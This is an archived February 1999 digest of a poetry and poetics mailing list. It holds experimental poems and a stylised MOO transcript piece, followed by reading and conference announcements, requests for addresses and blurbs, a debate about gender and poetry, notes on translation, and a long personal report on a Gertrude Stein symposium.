carrying more than our share of avatar's, where there,
or so I heard, is no there there, their despair bare
in fare glare: stare there nowhere, be fare and bare
their lair; pare their prayer with flair; repair; tear;
care; try dare; don't bear the flare; wear rare hair
and swear spare mare-hare Jennifare: "try dare, Julair,"
"wear rare hair, Nikukair"

Jennifer and Alan

Jenny and I do go on the road. Jenny logs the road.
<Jenny> We're near Albequerque and we've got guns in the trunk and
guns in our head.
<Al> Forget the guns, Jenn, we're not goin near the guns
<Jen> A, nothin else is gonna matter
<> Goddamn guns, J
<> Bang! Bang!

Explosion of Misery

It's clear, says N., that the world will come to an end, if not this billennium, then the next, or the next after that, or the next so, It's clear, says N., that the total of human experience and hope and all our welcomes and best wishes - there will be the suffocation of a curtain closing, falling to pieces in the ruined theater - the world heading towards ground zero, ground zero everywhere in the world -

It's clear, says N., everything else is a momentary pause or plateau, in what's called non-equilibrium thermodynamics, the world held up just a second longer by breath - we won't be around to look for the great death - it will be us - so there's no point in struggle - it's going to fall apart in the end - in the very long run, It's clear, says N., the mathematics is clear, absorption at ground zero, absorption -

That's the story, says N., that should be told, so a few of us can hear it -

---

↑ Index

127. **Jordan Davis**
Re: BATTLE OF THE SEXES
Wed 10 Feb 1999

Uh does this mean kathy lee crosby and fran tarkenton are going to make ANOTHER comeback?

Real people,
Jordan

↑ Index

128. **BETSY ANDREWS**
address queries
Wed 10 Feb 1999

Can anybody tell me the answer to any of these?

1) an e-mail address for Two Girls Review

2) an e-mail address for Heather Fuller

3) a mailing address for Michael Klein

thanks, betsy

↑ Index

129. **Michel Delville**
Post-war American Poetry: An International Conference (University of Liege, Belgium) -- complete schedule
Thu 11 Feb 1999

Dear listers,

We've just posted the complete schedule for the Liège "Post-war American Poetry" conference on the Ulg web site:

http://www.ulg.ac.be/facphl/annonces/pwap.html

Michel Delville

POST-WAR AMERICAN POETRY
University of Liège (Belgium) -- March 3-5, 1999

Guest readers and keynote speakers

Joe Amato
Maxine Chernoff
Steve Evans
H. Kassia Fleisher
Paul Hoover
Pierre Lagayette
Peter Middleton
Jennifer Moxley
Peter Nicholls
Keith Waldrop
Rosmarie Waldrop

Michel Delville
English Department
University of Liège
3 Place Cockerill
4000 Liège
BELGIUM
fax: ++ 32 4 366 57 21
e-mail: [redacted]

↑ Index

130. A. Jenn Sondheim
Moment on Media MOO
Thu 11 Feb 1999

/

Moment on Media MOO

Tiffany
dense entanglement of fluid, you-know-language, aural, i course thru u,
i u, Tiffany course thru julu, Tiffanyjulu, breath floods, clitoral,
eyes stained by u, u lay me out, lance, skin, nipples, on Menstrual
Table, you-know-language

Obvious exits: out to Living Quarters - 2nd Floor
You see lance, skin, Menstrual Table, Tiffanyjulu, you-know-language,
 nipples, clitoral, anal, aural, and envelope here.
Member name Connected Idle time Location
--- --- --- ---
Julu (#10747) 15 minutes 0 seconds Tiffany

Total: 1 member, who has been active recently.
There is only one member invisible to you.
You say, "I can take off my clothes and run around in fountains! I can
 kill Tiffany and bring Nikuko with me! Yay! Here she comes, Hi Nikuko!"
Julu is totally delusional, Nikuko declares, NO ONE IS HERE IDIOT!
You say, "I heard that!"
You say, "Nikuko, I heard that!"
Julu plunges the lance through his skin on Menstrual Table, Dies.
_____media_____02:51
"Nikuko, I heard that!
:plunges the lance through his skin on Menstrual Table, Dies.
:lies down on Menstrual table crying you-know-language

↑ Index

131. Burt Hatlen

Ted Enslin

Thu 11 Feb 1999

As some of you may know, The National Poetry Foundation is publishing the Selected Poems of Ted Enslin. It is at press and the paperbacks should be available in two or three weeks. Today we are putting together copy for the dustjacket of the hardcover edition, and we find ourselves with some blank space on the back cover. We have two good quotes culled from reviews of Enslin's work. But if anyone out there would like to e-mail us a jacket blurb of three or four sentences, we might have space for it on the cover. Hank Lazar, I'm thinking especially of you. But I hope there might be some other Enslin fans on the list, too.

Please backchannel me at [redacted]

Burt Hatlen

↑ Index

132. Linda V Russo
Berrigan, Jarnot & BATTLE OF THE SEXES
Thu 11 Feb 1999

dear interested persons:

I'd be interested in some more specificty as to the quality of this perceived 'better'-ness. What for example does "john" see in the work of women that he doesn't see in the work of men? in which case we can only proceed in such a discussion point-by-point since it's of limited use to make sweeping generalizations -- which is i think what chris s. was objecting to in the first place. Maybe you can begin, chris, by saying a few words abt. your chosen (male) few & we can look for said qualities or deficiencies in the work of his female contemporaries?

Anselm Berrigan & Lisa Jarnot read to a sizeable crowd here at UB in the Poetics Program's "Wednesdays @ 4+" series

Mike Kelleher gave a superb introction and

Anselm read first from INTEGRITY & DRAMATIC LIFE which appeared to be an apt title from where I sat. His poems were almost superabundant even, fast, full, exciting, touching even, but never overwhelming or 'overdone' and by the way he read i could see there was something "off the page" about his work. I tried to envision line breaks and couldn't, and didn't need to. His delivery and presence were entrancing (i will say instead of 'charming') and his poems were indeed trance-like in the best sense of the word: they brought this audience member to another state, somewhat alien in his sensibility (but never alienating) and altogether engaging-- alien so as to be "citizen" (to play off the first short poem he read).

then Mike Kelleher gave a superb introduction and

Lisa Jarnot then read from new material. Perhaps her poems were superabundant even too -- though the abundance is treated in a constantly "worried" familiarity wrought in her use of repetition. I found this formalism very engaging -- the "familiarity" of repetition made constantly strange in its changing formulations. I'm mean "worried" in the best sense -- as in having worked over, cared for -- though it would be false to say that her work was anymore or less worked-over than anselm's -- repetition just makes it sound that way. Case in point: the excited tenor or her work seems to have made one audience member quite anxious: he turned to chris for the time and then to myself, demanding that i repeat myself about 3 times increasing the volume. He seemed to be satisfied that is was only quarter to five & Lisa was permitted to continue speaking. I read this interruption as evidence also the Lisa Jarnot's work takes one to another place.

The better poetry of our time is interruptive. Truly super and abundant both.

I find it interesting chris that you write:
> but the best books I've read in the last year by young writers
> all seem to be male for me (NOTICE very carefully my wording--
> I am not saying that the MALES are the superior sex or anything,

that it is the "books" that are male: yet your list is only of male writers (in which case we might be justified in charging you with saying that males are the superior sex! (can't a woman write a "male" book?) -- and you're right, it's ridiculous to make such an assertion or for me now to try to attribute it to you, but here it is right "on paper" as it were)

Where I then to move back out to generalities I would have to admit that I agree with Kathy Lou Schultz . . . "fashionable please . . ." I did not choose my sex. I do fashion my gender, in a fashion, but not according to some poetic fasionism (or even fetishism, or fascism) -- I write from where I find myself in the world to be in another place in that or "our" world -- I think it is that circumstance that would lead one to generalize as to the "better"-ness (still an unsatisfactory descriptor) of women's work: women are imaging and creating their places in poetry while at the same time the places of previous generations of women poets are being re-imagined, the damage of several decades of sexist critical approaches finally being worn through. The 'better' of "female" poetry continues that process. The 'better' of male poetry must then take on something else? I will leave that an open invitation to argue/respond/reply . . .

best,
Linda V. Russo

↑ Index

133. Jordan Davis
Meters 1
Thu 11 Feb 1999

---

6 filmmakers & 6 poets collaborate:

Lee Ann Brown & Alystyre Julian
Matthew Buckingham & Kostas Anagnopoulos
Daniel Herman & Tim Griffin
David Kalal & Jeremy Sigler
Christina Kelly & Jordan Davis
Gang Zhao & Jun Jun

Saturday, Feb. 13, 8pm @ Salon 300

300 Graham Avenue, Williamsburg, NY

Take L to Graham Avenue

Walk two blocks south

↑ Index

134. Pete Neufeld
Translation
Thu 11 Feb 1999

I find this discussion very timely since I'm in a seminar lead by Norma Cole on this subject. I just wanted to add two notes to the lists of readings/translators and their effects. Beckett, in his translation of a poem by Rimbaud, casts "Dix nuits" into "Nine nights." I feel like in that move something very radical in the act of translation is being revealed, a kind of necessary errancy that establishes an economy between the languages not previously in place-- unheimlich. The other note is on Benjamin. First, I think the _Task of the Translator_ fascinates me in that Benjamin chooses the subject of translation as a point into the discussion of poetic language. That move seems revealing to me. I also wonder to what extent that essay informs Benjamin's trans. of Baudelaire which it originally introduced. Has anyone read those German translations? Second, I find it perversely amusing that, as De Man points out in his essay on Benjamin, this text on translation in its English translation has some gross errors, where in one instance "translatable" is substituted with "untranslatable"-- "Dix moins neuf nuits."

Pete

↑ Index

135. Catherine Daly
Cool Hong Kong job
Thu 11 Feb 1999

---

from the LA Times:

City University of Hong Kong is hiring an Associate/Assistant Professor of Expository/Creative Writing/Critical Studies

The position gets to create the courses/program. Instruction is in English.

their web site is http://www.cityu.edu.hk

Rgds,
Catherine Daly
[redacted]

↑ Index

136. Aldon Nielsen
Weatherly Whereabouts
Thu 11 Feb 1999

> *Some years ago, people on this list knew how to reach poet Tom Weatherly -- Can anybody supply a current address for him? I need to contact him for permission to reprint some poems --*

↑ Index

137. David Baratier
Introduction
Thu 11 Feb 1999

I need an introduction written for
Hands Collected: The books of Simon Perchik
to be released by Pavement Saw Press this fall.
The book is 540 pages plus introduction & new poems.
I have blurbs from James Tate and the late David Ignatow.
I would prefer something scholarly.
Does anyone have an interest on this list?
Or
Does anyone know anyone who might?

I also need a few other blurbs. Backchannel. Thanks--

Be well

David Baratier

↑ Index

138. juliana spahr
[Fwd: literary criticism]
Thu 11 Feb 1999

This is a multi-part message in MIME format.

Date: Sat, 06 Feb 1999 11:48:57 -0800
From: juliana spahr <[redacted]>
To: a poetics list <[redacted]>
Subject: literary criticism

I'm enjoying this list in the new concentrated formula!

I'm teaching a graduate literary criticism writing workshop next year. Like a poetry writing workshop. Only with lit crit. We'll do some reading and some writing and some workshopping.

I plan right now to hit the alternative and the regulated and stuff in between.

But in general, what are works of lit crit that might make good example texts?

I'm more interested in lit crit written in the last 10 years. Like I don't want to treat this as a survey or historical perspective of lit crit. They get that torture in another class.

But I really need examples of lit crit on periods other than contemporary poetry. I'm trying to collect works that do things like handle large historical arguments well, or moments where author's insert their own subjectivity, or mixes of anthropology and lit crit, or excellent uses of progressive argumentation, or excellent uses of fractured argumentation, or excellent uses of anecdote and story, or whateva. You get the idea.

THanks.

Juliana Spahr

----------BF9FFAF6BD9BB1A020F25112--

↑ Index

139. Catherine Daly
Wheeler Hammer Reading
Fri 12 Feb 1999

Susan Wheeler is reading at the Armand Hammer Museum in Westwood Feb. 18 at 7 p.m. Museum parking is $3.00.

Rgds,
Catherine Daly

↑ Index

140. Poetics List
misc.
Fri 12 Feb 1999

All - just a reminder that as a matter of course, and especially now when we're having a host of technical demons rapping at the table, it were best to restrict your posts to announcements and discussion related specifically to poetry and poetics. I was unable to reach this account during the day because of the

temporary server's "limited resources" - now that I have gotten through (at quarter past my bedtime and with a terrible lag between my typing and what appears on screen) it's not heartening to open the inbox and find 25 messages out of seventy are about the spelling of Clinton's name.

Chris

↑ Index

141. Poetics List
Mirror Man
Fri 12 Feb 1999

---------- Forwarded message ----------
Date: Thu, 11 Feb 1999 00:29:29 EST
From: [redacted]
To: [redacted]
Subject: Re: message?

In a message dated 99-02-09 16:31:14 EST, you write:

<< David (Pere Ubu) Thomas's new record, "Mirror Man," is swirling brilliant sunken narrative rocker with guest musicians such as Linda Thompson, Chris Cutler, the Kidney Brothers, Jackie Leven, Peter Hamill, Daved Held, Jane Bam Bom, and his latest band, The Two Pale Boys. I do a few poetry spins as well. In fact, there's a whole poetry element to David's work that really comes together in "MM."

As David writes, "Mirror Man will be released the end of March in the UK on Cooking Vinyl and the end of April in the US on Thirsty Ear. In the meantime, I am soliciting suggestions for who & where to take the thing for media coverage out of the ordinary pop music circles. Clearly this is a work of rare art and doesn't fit ANYWHERE. So of course it's doomed to a non-existence. In the futile effort to prevent that, any suggestions gratefully received."

Ideas?

Bob Holman
[redacted]

↑ Index

142. david bromige
re translation
Fri 12 Feb 1999

Re Pete Neufeld's note concerning dix nuits/nine nights, I recall that in Sweden, trettondagsafton (thirteenth day's eve) occurs when twelfth night would be the equivalent festival in england, and this makes me wonder whether the Beckett tr. of Rimbaud is more a matter of such appelation rather than any one-for-one violation. Any one know? David

↑ Index

143. dbkk
Burns, Fodaski, Armantrout, Ortiz, in San Francisco
Fri 12 Feb 1999

Hi everyone, it's Kevin Killian. With Dodie Bellamy in London I'll try posting some announcements in her place about the upcoming events at Small Press Traffic here in San Francisco. First off is Friday February 12 (tonight) with Avery Burns and Elizabeth Fodaski.

Friday, February 12, 7:30 p.m.
New College Theater
777 Valencia Street (San Francisco)
$5

Avery Burns
Elizabeth Fodaski

No friend to linearity, Avery Burns was born in California 1961, and has edited the astonishing magazine "lyric&" since 1992. His publications include Differing Senses of Motion, Sabin, and Fragments Formerly Attributed to Archilocus. Recent work appears in Chain, Lowghost, Idiom Online, and Poetry New York. Burns' poetry, so fresh and so chiseled, extends the familiar trajectory of Melville-Pound-Williams-Creeley-Eigner-Grenier into new and exciting blips and scrawls of Typee/Omoo Pacific Rim chance operation Basho funk.

Elizabeth Fodaski's recent writing posits a little man in her head, "allied to Socrates," who's not especially reliable, kind, or perhaps good for a woman's peace of mind, a man who forces all kinds of questions and connections about invasion, possession, ownership and invention. "This is not your flowering flower found in a field you know." We have lost Hannah Weiner but now we have Liz Fodaski. Born and raised in New York City, where she still lives, Elizabeth Fodaski is a curator for the Segue Foundation's reading series at Double Happiness and the editor/publisher of Torque. She was a finalist for the

National Poetry Series and has been published in Lingo, Big Allis, Chain, and Mirage #4/Period(ical).

And now here's another reading that will take place next Friday, February 19, 1999:

Friday, February 19, 7:30 p.m.
New College Theater
777 Valencia Street
$5

Rae Armantrout
Travis Ortiz

Her newly published memoir, True (Atelos), is an unsparing and wry account of a difficult childhood and questioning adolescence redeemed by a vocation to poetry. Since then she has written some of the finest poetry I know, mapping new routes to heaven and hell via daily life and its beautiful familiars, the plain, the orgiastic, the angry and the rueful. Rae Armantrout's recent books are Necromance (Sun & Moon), Made To Seem (Sun & Moon), writing the plot about sets (a Chax chapbook);The Pretext is forthcoming from Sun & Moon. Her work has appeared in numerous anthologies, including In The American Tree, Best American Poetry of 1988, Postmodern American Poetry: A Norton Anthology, From The Other Side Of The Century, Out of Everywhere, Moving Borders: Three Decades of Innovative Writing By Women and Poems for the Millennium, Vol II. Her poems have recently appeared in such periodicals as New American Writing, Conjunctions, Raddle Moon and Talisman. Armantrout teaches in the writing program at UCSD.

Travis Ortiz' first book, geography of parts, has recently appeared from Melodeon Poetry Systems. What appeals to me about his writing is the ways in which complex relations among line, word, and image reveal themselves slowly, suspensefully, with the edges cut, the exposition delicious. For the first time I can see the white space between words take on meaning like one of those nature time-lapse sequences on public TV. Travis Ortiz is co-editor of Atelos Publishing Project. He also edits a series of short books of poetry that highlight the visual aspects of poetry called ghos-ti- (an indo-european root pronounced "gaws-tee"). His poems has appeared in Chain, Salt, Mirage #4/Period[ical], Lyric&, River City. His "text collages," or visual poems, have appeared in Prosodia and Mirage. He was a contributing editor for Chain's "Different Languages" issue.

There! That wasn't so hard. And of course if you are in London tonight you can go and see Dodie Bellamy reading, with Tim Atkins and Andrea Brady, at some

reading space over there that I'm not familiar with. Alone here in San Francisco, eying the ocean, I feel like Mr. Norman Maine!

Thanks,
Kevin Killian

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144. Michael Boughn
Re: [Fwd: literary criticism]
Fri 12 Feb 1999

Julanna, you might check out Stanley Cavell's _Disowning Knowledge in Six Plays of Shakespeare" or alternatively (on Romanticism) _In Quest of the Ordinary_. Both I think meet your criteria.

Best,
Mike

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145. Maria Damon
Re: BATTLE OF THE SEXES
Fri 12 Feb 1999

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this is a wonderful formulation, jacques. aside from considerations of "the work itself" and aesthetic judgments thereof, which this discussion primarily addresses, is the question of the conditions under which a text is produced; and here i find the gender of the writer, embedded as it must be in social contingencies, potentially extremely interesting.

At 4:09 PM -0500 2/10/99, Jacques Debrot wrote:
>Much more interseting than the *sex* of the author, it seems to me, is the
>linguistic *sexuality* of the work itself -- oral, phallic, anal, labial,
>etc., etc. or any of these in combination. --That is, what types of
>sexualities, surfacing as varieties of poetic speech, produce the most
>interesting language?

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146. Karen Kelley
Paul Beatty
Fri 12 Feb 1999

Does anyone have an address/email for Paul Beatty? Please backchannel.

↑ Index

147. Magdalena Zurawski

Poets who want attention

Fri 12 Feb 1999

Come See Some Bands with Some Poets in Them:

<bold>The Sleeves

</bold>(Prageeta Sharma - drums, Magdalena Zurawski - Guitar, Jeanne Gilliland - Bass)

<bold>Cranky

</bold>(Poetless but exciting)

<bold>Picnic

</bold>(With the famous Matt Rohrer)

Saturday, February, 20th, 1999 9pm

@

THE CHARLESTON BAR, 174 Bedford Ave (Btw. N. 7th & N. 8th), Williamsburg, Brooklyn

(L to Bedford Ave)<bold>

</bold>

<bold>Magdalena Zurawski

Executive Development Programs

Stern School of Business

</bold>44 W. 4th Street

New York, NY 10012-1126

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

tel: [redacted]

fax: [redacted]

Departmental E-mail: [redacted]

Website: www.stern.nyu.edu/executive

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148. David Zauhar
Re: [Fwd: literary criticism]
Fri 12 Feb 1999

These books have to be out of print by now, but Bernard Sharratt has a couple of books -- I think the titles are Literary Labrynth and Reading Relations -- from the mid '80s. These works explore the border between fiction and theory, since Sharratt assumes various personas who then contribute to an anthology of criticism edited by Sharratt proper. These essays, if I remember correctly, aren't parodies (I mean, he doesn't make up names like Anatole Jouissance or Jacques Strappe to represent French post-whatever) but they're not always free of satirical elements either.

I wonder if Guy Davenport's essays might work too. Not overly theoretical, mostly meant for non-academic audiences, but still fairly thoughtful.

And of course, Susan Howe, who I'm sure Juliana S. has already thought of.

David Zauhar
University of Illinois at Chicago

"Opaque melodies that would bug most people,
 Music from the other side of the fence."

--Captain Beefheart

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149. david hess
Dave's Adventures in Steinland
Fri 12 Feb 1999

In the event my first mailing of this was deleted in one of the computer malfunctions, I'm re-sending the piece. - DH

Dear List Members and Voyeurs of the Word,

At the urging of Lee Ann Brown I attended a symposium held at Washington University in St. Louis from Feb. 5-7 called Gertrude Stein@The Millenium, in honor of the 125th anniversary of her birth. (Lee Ann skipped it for Mardi Gras in New Orleans -- probably a wise decision as you shall see). Several notables attended and spoke, including Kenneth Koch, Marjorie Perloff, Lyn Hejinian, Jacques Roubaud and Stan Brakhage. Although I was not able to make the first day's events or even the evening events, such as the world premiere of GERTRUDE AND ALICE: A LIKENESS TO LOVING, I did make most of the remaining panels and readings. Despite these huge gaps I believe I can be counted on as a reliable witness to these proceedings (which were held in a

courtroom on the Law School campus no less). So here are my uncensored and unauthorized notes and observations, gut reactions and tenderest emotions, all put on display to you my friends for your perusing pleasure. If the poetry world had a Hard Copy or an Entertainment Tonight or an Access Hollywood this would be it for sure and I would be a cross between Hunter S. Thompson and John Tesh. Gross.

Friday, Feb. 5: The conference started off with a bang, or a whimper (St. Louis being the birth place of T.S.E. you know) depending on where you're from. Bill Gass gave the introductory keynote. Then Kenneth Koch said something. Then there were readings by a lot of people, then a buffet, and then the world premiere of 'Gertrude and Alice'. I would have gone were it not for a job that requires me to be at a certain place at a certain time and do very certain things for which I get paid a very certain amount of money. Hmmm, for all these certainties I seem to live in a very uncertain world.

Speaking of money, registration to this conference cost $100! As the registration form said, this "includes prime seating at all conference proceedings [and, they should have added, access to the microphones], buffet dinner Friday night, bag lunch Saturday, one ticket to the Friday evening performance of Gertrude and Alice, and invitation to the postproduction opening of the Stein exhibit at Special Collections." Nothing was said about the other events being open to the public and none of the locations of the events were even listed on the flyer. I guess this would explain the low turnout, which they, Washington University, seemed to want by having the readings in such a small room.

Saturday, Feb. 6: At ten o'clock was a panel called "'Writing [arrow symbol] Writing'". I got there early and got prime seating, slipping past the guards without a pass and landed right behind the Gertrude and Alice from the previous night's play. Joan Retallack, Ulla Dydo, and Harryette Mullen spoke. Retallack, who went first, read a speech which confirmed my suspicion that Stein is now losing her specific radicality as quickly as a Missouri cornfield loses its rich topsoil from overplowing and overfertilization. Stein, strip-mined for her literary nitrogen, is fast becoming the next Eliot, the next pinata in which every form of intellectual candy and currency can be found. In other words, according to Retallack and others, there is nothing Stein does not do, nothing her writing fails to achieve. * Retallack began with a series of chapters that only contained one or two sentences and got giggles when she said these were the actual chapters. She spoke of the connection between coincidence and crime, which I guess are two Steinian words, said things like "so then is like that and now farther" (very Steinian), then spoke of the difference between imagination and fantasy as first laid out by D.W. Winnicot, and then spoke of Stein's "copious marginalia" and "risky sensuality" which "knocks over laps"(?!).

Then she combined the words poetics and ethics into a new word: Poethics. At this point I nearly burst out laughing because I recently put a sign on my bookcase by the criticism section that reads: "Critter-schism/Po' Ethics." Somehow I was able to keep my fake poise while continuing to take notes. * Retallack then mentioned something about "consequential forms of life" and brought in another binary between ethos and aesthetic process and declared that she was interested in "what is at stake" in Stein (a question I'll get to later or try to ask and/or answer). She described our contemporary experience for wanting to escape from the quotidian into fantasy (a tendency Stein's work supposedly resists by making us stay in the present in the way station of the signifier) and ended up with the exact same analysis Charles Bernstein preaches in "Artifice of Absorption," i.e. fantasy is bad for you folks or something like that. (Fantasy, fairy tales, poetry -- these are the things that make us, keep us, human, bro). So much for "risky sensuality" I would argue. Because sensuality is so lacking in our lives (maybe not in yours -- I don't want to insult anyone -- but in most I would say, or maybe not, how the hell do I know) it can't help but be a fantasy. Or, if you want to know the quotidian I'd suggest going to an adult videostore (many of which are called "Fantasy") and buying a porno. Stay with me, okay. * Retallack went on to speak of Stein's "transvaluation of nonsense" and "lush thickets of intelligibility" and finally revealed why she spoke of coincidence and crime at the beginning of her speech: Stein tried to write a detective story ("Blood on the Dining Room Floor") and remained fascinated by this genre which represents one form of fantasy. Stein said: "I like detecting. There are so many things to detect." Retallack spoke of the contrast between a standard writer of detective stories, Edgar Wallace, and Stein and her "permutative, investigative writing." Stein is about "contemporary living" while detective writing (and most other forms of writing as well) are centered on the past (because that's when the murder happened, duh). * All right, so is Stein for or against fantasy? Given Retallack's hyperbolic treatment I would have to say for. For we then got to hear a commentary on the fractal nature of Stein's writing, its "poly-directional surface continuum" and "local indeterminacy" as "sole life principle" along with its "urgent scenes [or was it "urgencies"?] of complex intersections." Then came the predictable babble about quantum mechanics [standard bar code of radicality for New Agers and avant-garde posers] and talk of Niels Bohr, etc. Stein, we are told, does not "imitate nature" (AS IF it could be imitated, as if Nature were just another object fully available to experience) but accomplishes "exhilarating acts of intention, attention, and invention." Read: she's a modernist. No news here. Unfortunately, Retallack seems to say everything while almost saying nothing in a speech punctuated with empty phrases like "pattern differentia" which I guess would be another name for wallpaper. * The one thing Retallack did bring up that was important was the question of time

and contemporaneity. Stein believed in living one's contemporariness and believed that the comtemporary artist should express the time sense of the age they are living in. This would seem to be where lies the matter of "what is at stake" in Stein. This is a question I should have asked early on at the symposium: is Stein still contemporary, is her way of writing -- an asyntactic, metonymic, (discontinuous) continuous present -- still able to express time in 1999? If the modernists found themselves living in an age that discovered that the past was no longer present (driving some modernists like Joyce or Proust -- the former being, in many ways, Stein's opposite, or poison to her antidote as Jacques Roubaud argued in his talk later on -- to make the past constantly present in their works), I would offer that we are now living in a time when the present is no longer present but always in the past waiting to be retrieved or in the future waiting to be acquired. Fredric Jameson, in one of his ceaseless attempts to diagnose and describe the 'postmodern', speaks of a "nostalgia for the future" as being a ubiquitous characteristic of contemporary mass culture -- one of the few observations of his I happen to agree with and one which reveals how any formulation of such a time without a present immediately becomes a nearly impossible, tautological task. This would explain, in part, the overcrowded definitional emptiness of postmodernism. So there is no present and so there is no postmodern -- both are contemporary fantasies (is this why Ashbery -- in his time shifts from the end of the past to the middle of the future and all combinations in between -- is the supreme postmodern poet?). Well, that's my analysis for now but the question remains what kind of writing can express this time of the missing present, this time which is no time? More on this later I hope. * Ulla Dydo, a scholar who has devoted her life to reading Stein, spoke next or rather her husband Bill did, preceding her. He read from a compilation of Stein quotations which centered around the word 'it'. Ulla spoke of Stein's one opus as a continuous process and how this process was suddenly interrupted once she had acquired the fame she desired for so long. At one point Stein said "I lost my personality" and faced a writer's block she had never experienced before -- this was around the time of the writing of the autobiography. Then Bill read more from the language of 'it': "a husk that can / hold anything that / can empty out anything." * Mullen, the last speaker, read a speech called "If Lilies are Lily White" which raised some of the more interesting questions with regard to Stein and the matter of race. She discussed the "underlying thematic continuity" (despite the linguistic break) from Melanctha to Tender Buttons, and Stein's preoccupation with sexual and racial stereotypes (fantasy, folks) which is expressed for Mullen by the statement in TB: "difference is spreading." While race and sex are overtly treated in Melanctha they function more covertly in TB with sentences and phrases like "a single hurt color," "dirty is yellow," "a piece of coffee," "color is in coal, "a light white, a disgrace, an ink spot," and "a rosy charm." Just flipping through TB I

can find: "A white bird, a colored mine, a mixed orange, a dog"(46, Sun&Moon, 1991) and, of course, "A white hunter is nearly crazy"(27). And lower on 27 under the heading "SUPPOSE AN EYES" a hilarious working of gender codes: "A soldier a real soldier has a worn lace a worn lace of different sizes that is to say if he can read, if he can read he is a size to show shutting up twenty-four." (Shutting up twenty-four as in shutting up the talk of the clock). Mullen sees a link between the violence Stein does to grammar codes and the covert violence of domestic life. Stein caricatures the obsession of white bourgeoisie with the possibility of miscegenation in the association of color with dirt and whiteness with vulnerability. Mullen spoke of Stein's exploitation of color as a short hand for the delineation of character in Melanctha (characters become a string of adjectives) and questioned whether she was interrogating the color-coding or affirming it. Melanctha, a black mulatto who is described by Stein as yellow and suicidal (blue - the melancholy in her name) thus draws attention to the fantastical constructedness of racial identity. Color both reveals and conceals identity. Mullen also spoke of the cultural milieu of the time the works were written: the Harlem Renaissance with its honky spokesman, Carl Van Vecten, the incorporation of primitivism by Picasso and others, and the bourgeois bohemianism of someone like Stein who could maintain a mixture of both domestic order and syntactic disorder. Despite these doubts about Stein's dealing with race, Mullen, an African-American, finally claimed her as a major influence on her work.

After a short break it was the prolific avant-garde filmmaker Stan Brakhage's turn. Before showing us his films, he spoke of the omnipresence of the present moment in Stein, her "ideology of repetition." He commented on "metaphor as an evasion" (I guess this goes along with fantasy) and said something to the effect that metaphor was invented so members of a royal court could say something in other terms in order not to get their heads chopped off. (I disagree: I think metaphor -- deriving from the Greek word for transport -- was invented because of a lack of words to describe something our ancestors, in their migrations, newly encountered. Metaphor is evidence of our early speechlessness, our straining to put something into terms we have no means to signify. Metaphors are the fossils of our speechlessness.) Then the filmmaker Brakhage said something else I disagree with: "linguistic description is intrinsically futile" (as if it, accuracy, is all or nothing, as if there is only truth and falsity and nothing else). He spoke of the glyphic roots of language and painting, the cursed "obligation to represent." He spoke of Stein's anti-didactic writing and made mention of her METAPHOR for orgasm: "cow," which is probably what the earliest humans called it, too. He spoke of his absolute distate for autobiography and the qualities of dailiness in Stein's writing which he admires and tries to emulate. He said he wanted to disrupt the "picture as

container" which functions as a kind of hypnosis for the viewer (i.e. fantasy, once again, is bad you, too many hours of fantasy a day will make your brain rot). Then he showed us his film VISIONS IN MEDITATION (1989) which utilized a constantly moving camera with quick fade-ins and fade-outs of houses, interiors and shots of rivers, trees, mountains and ice floes. He spoke of trying to get to "the fullest exactitude of meaning imaginable" and of his attempt to rid film of all referentiality. At this point Marjorie Perloff put him in his place with her comment that c'mon of course the film has referentiality, it's showing us something. But Stan said heroically no "I'm resisting these references" and I just want (you) "to experience the music" man. Stan said he felt threatened by representation (which ones? what kind? we never find out), that he wanted to share his innermost feelings with us dude. He wanted "moving visual thinking," "thinking without memory," and wanted to "stick with the daily" (does he ever make movies about boring jobs? - now that's the daily). He aspired to "something that encloses unto itself" where "everything is answerable to itself, a world unto itself" -- sounds like a fairy tale to me. Despite Brakhage's sloppy thinking (at one point he declared that "we're all slobs"???) his movies remind us of our unending need to find meaning in the things we see, especially if they are human representations such as films, by his keeping the camera always in motion and keeping most of the objects, particularly the natural ones, out of focus. The restlessness of his films reflects our restlessness back into our faces and somehow they also manage to express a sense of serenity or meditation that Stein's writing also seems to express. Someone in the audience made the observant comment that whenever the eye begins to linger on something in one of his films the camera immediately breaks away. Stan, like Joan Retallack in her speech, said he was against "sucking you into it" which is what commericial films or genres designed to escape the quotidian do. Stan spoke of the double negative of Stein's escaping of the 'escaping the quotidian' as a reason for her writing's intense use of negatives. He said he believed in an "anti-transcendental impulse" which presents something "perceived, felt, before it can be named." He said he was "grateful for the Earth" and a few other nice things which also can't be named....

Lyn Hejinian was up next (by this time it was around 4:00pm) and I was growing weary of taking notes and was starting to feel the effects of some wine I drunk earlier in honor of the absentee Lee Ann Brown and out of anger for missing the U.S.-Germany soccer game (which the U.S. won by the way in a huge upset, 3-0, as if you poets care) in order to be present for all the panels, so I apologize for the oncoming Brakhagian haziness, but at least I won't force you to fantasize about this event any longer. (Of course, if you want to fantasize about me that's okay: I'm 6'01, 195 lbs, brown eyes, birthmark on my left thigh...). But back to reality. Lyn talked about STANZAS IN MEDITATION and

how when she was at a low point in her life she read this and it made her happy. Yes, happy. (I tried this trick later that night and it didn't work, so I had some more wine). Retallack piped up and said it made her happy, too. Then Lyn spoke of the need for the ordinary (I guess because of its perceived innocence -- what could be ordinary anymore in this world of globalized capital?), the elusivity of the present, and quoted Nietzsche's "the duration of the impermanence of everything actual" which nicely describes the internal contradition between the constancy of the present and its simultaneous ephemerality. She spoke of the sensory effects of Stein's writing which are made all the more stronger for the plotlessness of her work. She spoke of flatness as a virtue in Stein, her "achievement of the commonplace," her focusing on what we all take for granted, saying that "happiness, like the commonplace, has no plot." She spoke of her relationship with William James, whom Stein studied under, and his philosophy of "where things are," of concreteness and immediacy. She spoke of Stein's relation to the public and private spheres and how she found freedom in the household and salon away from the male-dominated 'polis'. She spoke of Stein's resistance to the usual modernist "attempts at totalization." Unable to drop the happy talk, she concluded that "happiness is living one's contemporaneousness." In other words, Stein, the cure-all, was happy and will make us happy. During the question-answer session much discussion was had about Stein and authority -- did she want or yield authority?, did she try to subvert it?, etc. This discussion was, of course, had by those authorities on Stein in attendance: Catherine Stimpson, Marjorie Perloff, Retallack, Hejinian....

